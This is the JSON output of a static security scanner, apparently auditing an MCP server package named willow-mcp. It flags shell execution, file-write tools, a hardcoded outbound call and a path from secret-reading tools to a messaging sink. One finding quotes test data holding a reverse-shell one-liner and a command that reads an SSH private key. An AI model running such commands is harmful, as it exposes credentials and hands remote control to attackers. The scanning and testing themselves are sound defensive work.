Willow — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "willow-mcp",
"source": {
"kind": "package",
"origin": "willow-mcp"
},
"server": {
"name": "willow-mcp"
}
},
"grade": "A",
"score": {
"score": 93,
"threatScore": 100,
"grade": "A",
"band": "A",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"can create, modify or delete files",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code"
],
"tags": [
"external-sink",
"sensitive-source",
"file-write",
"code-exec"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (32 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-FLOW-004",
"title": "Sensitive-source and external-sink co-exist",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "Tools that read sensitive data ([mai_read_file, mai_get_env]) and tools that can send data out ([grove_send_message]) are exposed together. An agent can move private data to the sink.",
"remediation": "Keep secret-reading and egress capabilities on separate, separately-approved servers.",
"location": {
"kind": "flow",
"name": "mai_read_file → grove_send_message"
},
"evidence": "sources [mai_read_file, mai_get_env] → sinks [grove_send_message]",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"references": [],
"data": {
"sources": [
"mai_read_file",
"mai_get_env"
],
"sinks": [
"grove_send_message"
]
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/willow_mcp/meter.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/willow_mcp/meter.py:92`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/willow_mcp/meter.py"
},
"evidence": "ne try: r = subprocess.run( [\"nvidia-smi\", f\"--query-gpu={field}\", \"--format=csv,noheader,nounit",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/willow_mcp/meter.py",
"line": 92,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/willow_mcp/pgp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/willow_mcp/pgp.py:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/willow_mcp/pgp.py"
},
"evidence": "}.sig\" try: subprocess.run( [ \"gpg\", \"--batch\",",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/willow_mcp/pgp.py",
"line": 46,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/willow_mcp/postgres_lifecycle.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/willow_mcp/postgres_lifecycle.py:28`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/willow_mcp/postgres_lifecycle.py"
},
"evidence": "try: proc = subprocess.run( [\"pg_isready\", \"-q\"], capture_output=True, t",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/willow_mcp/postgres_lifecycle.py",
"line": 28,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/willow_mcp/repo_sweep.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/willow_mcp/repo_sweep.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/willow_mcp/repo_sweep.py"
},
"evidence": "str) -> str: proc = subprocess.run( [\"git\", \"-C\", str(repo), *args], capture_output=True, text=True,",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/willow_mcp/repo_sweep.py",
"line": 53,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/willow_mcp/oauth.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/willow_mcp/oauth.py:326`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/willow_mcp/oauth.py"
},
"evidence": "_JWKS_CACHE[1] with urllib.request.urlopen(\"https://appleid.apple.com/auth/keys\", timeout=10) as resp: # nosec B310",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/willow_mcp/oauth.py",
"line": 326,
"nonRuntime": false
}
},
{
"ruleId": "MTC-CAP-002",
"title": "Tool \"mai_write_file\" can modify the filesystem",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"description": "Tool \"mai_write_file\" can write, overwrite or delete files (keyword \"write_file\" in tool name). Verify it is scoped to a safe directory.",
"remediation": "Constrain file operations to an explicit, non-sensitive root; reject path traversal.",
"location": {
"kind": "tool",
"name": "mai_write_file"
},
"data": {
"tags": [
"file-write"
]
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment in packaging/dev tooling (tests/test_server.py)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_server.py:914`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_server.py"
},
"evidence": "ive\"), (\"cat ~/.ssh/id_rsa\", \"secret_access\"), (\"bash -i >& /dev/tcp/10.0.0.1/9 0>&1\", \"exfiltration\"), (\":(",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "tests/test_server.py",
"line": 914,
"nonRuntime": true
}
},
{
"ruleId": "MTC-CAP-005",
"title": "Mutating tool \"mai_write_file\" declares no destructiveHint",
"category": "hygiene",
"severity": "low",
"confidence": "heuristic",
"description": "Tool \"mai_write_file\" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.",
"remediation": "Declare accurate annotations, and gate destructive tools on user confirmation regardless.",
"location": {
"kind": "tool",
"name": "mai_write_file"
},
"data": {
"tags": [
"file-write"
]
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (docs/repatriation/engine/build_holdings.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/build_holdings.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "docs/repatriation/engine/build_holdings.py"
},
"evidence": "ath): return None r=subprocess.run([\"du\",\"-sh\",path],capture_output=True,text=True) return r.stdout.split()[0] i",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "docs/repatriation/engine/build_holdings.py",
"line": 17,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (docs/repatriation/engine/extract_pieces.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/extract_pieces.py:15`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "docs/repatriation/engine/extract_pieces.py"
},
"evidence": "ect, cypher): out = subprocess.run([CBM, \"cli\", \"query_graph\", json.dumps({\"project\": proj",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "docs/repatriation/engine/extract_pieces.py",
"line": 15,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (docs/repatriation/engine/materialize_toolkit.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/materialize_toolkit.py:34`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "docs/repatriation/engine/materialize_toolkit.py"
},
"evidence": "e(\"/tmp/_tk\") r=subprocess.run([\"curl\",\"-sSL\",\"--max-time\",\"30\",\"-w\",\"%{http_code}\",\"-o\",\"/tmp/_tk\",url],",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "docs/repatriation/engine/materialize_toolkit.py",
"line": 34,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (docs/repatriation/engine/mcpdrive.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/mcpdrive.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "docs/repatriation/engine/mcpdrive.py"
},
"evidence": "None): self.p = subprocess.Popen( cmd, shell=True, cwd=cwd, stdin=subprocess.PIPE, stdou",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "docs/repatriation/engine/mcpdrive.py",
"line": 12,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (scripts/ratification/pick_and_check.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/ratification/pick_and_check.py:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "scripts/ratification/pick_and_check.py"
},
"evidence": ") def pg(q): return subprocess.run([\"psql\",\"-d\",\"willow_both\",\"-tAc\",q], capture_output=Tr",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "scripts/ratification/pick_and_check.py",
"line": 4,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (scripts/vendor_drift.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/vendor_drift.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "scripts/vendor_drift.py"
},
"evidence": "r: try: p = subprocess.run( [\"git\", \"-C\", str(repo), *args], capture_output=True, te",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "scripts/vendor_drift.py",
"line": 64,
"nonRuntime": true
}
}
],
"toxicFlows": [
{
"id": "flow-1",
"severity": "high",
"confidence": "strong",
"untrustedInput": [],
"sensitiveSource": [
"mai_read_file",
"mai_get_env"
],
"externalSink": [
"grove_send_message"
],
"selfContained": false,
"path": [
"mai_get_env",
"grove_send_message"
],
"pathWired": false,
"description": "A sensitive-source → external-sink chain exists: mai_get_env → grove_send_message."
}
],
"capabilities": [
{
"tool": "grove_list_channels",
"tags": [],
"reasons": {}
},
{
"tool": "grove_get_history",
"tags": [],
"reasons": {}
},
{
"tool": "grove_search",
"tags": [],
"reasons": {}
},
{
"tool": "grove_watch",
"tags": [],
"reasons": {}
},
{
"tool": "grove_watch_all",
"tags": [],
"reasons": {}
},
{
"tool": "grove_get_thread",
"tags": [],
"reasons": {}
},
{
"tool": "grove_bus_receive",
"tags": [],
"reasons": {}
},
{
"tool": "grove_inbox",
"tags": [],
"reasons": {}
},
{
"tool": "grove_flagged",
"tags": [],
"reasons": {}
},
{
"tool": "grove_get_identity",
"tags": [],
"reasons": {}
},
{
"tool": "grove_agents",
"tags": [],
"reasons": {}
},
{
"tool": "grove_fleet_status",
"tags": [],
"reasons": {}
},
{
"tool": "grove_human_required",
"tags": [],
"reasons": {}
},
{
"tool": "grove_send_message",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"send_message\""
]
}
},
{
"tool": "grove_reply",
"tags": [],
"reasons": {}
},
{
"tool": "grove_flag",
"tags": [],
"reasons": {}
},
{
"tool": "grove_unflag",
"tags": [],
"reasons": {}
},
{
"tool": "grove_bus_send",
"tags": [],
"reasons": {}
},
{
"tool": "grove_ack",
"tags": [],
"reasons": {}
},
{
"tool": "grove_heartbeat",
"tags": [],
"reasons": {}
},
{
"tool": "mai_read_file",
"tags": [
"sensitive-source"
],
"reasons": {
"sensitive-source": [
"keyword \"read_file\""
]
}
},
{
"tool": "mai_write_file",
"tags": [
"file-write"
],
"reasons": {
"file-write": [
"keyword \"write_file\" in tool name"
]
}
},
{
"tool": "mai_list_phases",
"tags": [],
"reasons": {}
},
{
"tool": "mai_resolve_phase",
"tags": [],
"reasons": {}
},
{
"tool": "mai_next_phase",
"tags": [],
"reasons": {}
},
{
"tool": "mai_call_macro",
"tags": [],
"reasons": {}
},
{
"tool": "mai_get_env",
"tags": [
"sensitive-source"
],
"reasons": {
"sensitive-source": [
"keyword \"get_env\""
]
}
},
{
"tool": "mai_execute_directive",
"tags": [],
"reasons": {}
},
{
"tool": "mai_invalidate_cache",
"tags": [],
"reasons": {}
},
{
"tool": "mai_get_constraints",
"tags": [],
"reasons": {}
},
{
"tool": "whoami",
"tags": [],
"reasons": {}
},
{
"tool": "diagnostic_summary",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "64a8385d5dfa23175ac5e007aa6e0c5b2288766ba7040219615608cb618b4292",
"stats": {
"tools": 32,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 5,
"medium": 2,
"low": 8,
"info": 0
}
}
}